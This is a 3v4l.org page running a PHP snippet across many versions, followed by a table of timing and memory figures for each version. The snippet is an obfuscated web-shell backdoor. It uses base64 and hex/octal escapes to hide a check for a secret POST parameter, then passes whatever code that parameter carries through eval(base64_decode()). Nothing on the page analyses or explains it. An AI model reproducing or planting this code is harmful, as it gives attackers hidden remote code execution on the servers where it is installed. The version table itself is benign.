3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_= "aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\"; $__=\"JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\"; $___= \"\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\"; if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); } $code=base64_decode($_); eval($code); $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; echo($___($__)); eval($___($__)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.310.0040.04312.50
5.4.300.0060.03912.50
5.4.290.0120.03912.49
5.4.280.0070.03612.39
5.4.270.0050.04212.39
5.4.260.0080.03812.39
5.4.250.0120.04012.39
5.4.240.0060.03912.39
5.4.230.0050.04012.38
5.4.220.0080.04312.39
5.4.210.0110.03312.38
5.4.200.0110.04512.38
5.4.190.0070.04112.38
5.4.180.0080.03812.38
5.4.170.0080.04212.39
5.4.160.0080.03912.39
5.4.150.0040.04712.38
5.4.140.0110.03212.07
5.4.130.0080.04112.05
5.4.120.0060.03912.02
5.4.110.0040.03912.01
5.4.100.0100.03212.02
5.4.90.0040.03812.01
5.4.80.0050.03812.01
5.4.70.0090.03212.01
5.4.60.0100.03812.01
5.4.50.0050.03612.01
5.4.40.0070.03912.00
5.4.30.0100.04412.00
5.4.20.0110.03411.99
5.4.10.0070.03812.00
5.4.00.0050.03911.49
5.3.280.0100.04212.71
5.3.270.0080.04212.72
5.3.260.0090.04312.72
5.3.250.0100.04312.71
5.3.240.0060.04812.72
5.3.230.0120.03712.71
5.3.220.0090.04312.68
5.3.210.0050.03912.68
5.3.200.0040.03812.68
5.3.190.0050.03812.68
5.3.180.0040.03912.68
5.3.170.0070.03612.67
5.3.160.0090.04112.67
5.3.150.0070.04512.67
5.3.140.0080.03512.66
5.3.130.0090.03912.66
5.3.120.0060.04012.66
5.3.110.0050.04012.66
5.3.100.0050.04812.12
5.3.90.0060.04312.09
5.3.80.0110.04112.07
5.3.70.0070.03812.08
5.3.60.0040.03712.07
5.3.50.0090.03312.00
5.3.40.0070.03712.00
5.3.30.0110.03111.95
5.3.20.0090.03511.73
5.3.10.0060.03311.70
5.3.00.0050.03511.69
5.2.170.0060.0339.18
5.2.160.0100.0289.18
5.2.150.0080.0289.18
5.2.140.0080.0359.18
5.2.130.0090.0319.14
5.2.120.0040.0309.14
5.2.110.0040.0389.15
5.2.100.0080.0309.14
5.2.90.0090.0269.14
5.2.80.0070.0329.14
5.2.70.0060.0309.14
5.2.60.0040.0329.10
5.2.50.0090.0319.06
5.2.40.0070.0419.05
5.2.30.0070.0289.02
5.2.20.0060.0319.01
5.2.10.0040.0368.93
5.2.00.0060.0388.79
5.1.60.0060.0318.07
5.1.50.0070.0248.07
5.1.40.0080.0288.05
5.1.30.0070.0308.40
5.1.20.0100.0228.42
5.1.10.0040.0318.15
5.1.00.0040.0358.15
5.0.50.0050.0206.63
5.0.40.0060.0226.49
5.0.30.0030.0316.30
5.0.20.0040.0206.27
5.0.10.0030.0206.25
5.0.00.0030.0336.24
4.4.90.0050.0194.78
4.4.80.0040.0144.75
4.4.70.0060.0194.75
4.4.60.0050.0184.75
4.4.50.0020.0184.77
4.4.40.0030.0284.71
4.4.30.0050.0174.76
4.4.20.0050.0214.84
4.4.10.0050.0144.85
4.4.00.0020.0264.76
4.3.110.0040.0174.67
4.3.100.0030.0174.67
4.3.90.0030.0184.64
4.3.80.0060.0294.58
4.3.70.0010.0294.63
4.3.60.0060.0194.63
4.3.50.0050.0144.63
4.3.40.0030.0294.54
4.3.30.0020.0203.29
4.3.20.0030.0173.27
4.3.10.0040.0183.22
4.3.00.0070.0207.21

preferences:
139.59 ms | 1394 KiB | 7 Q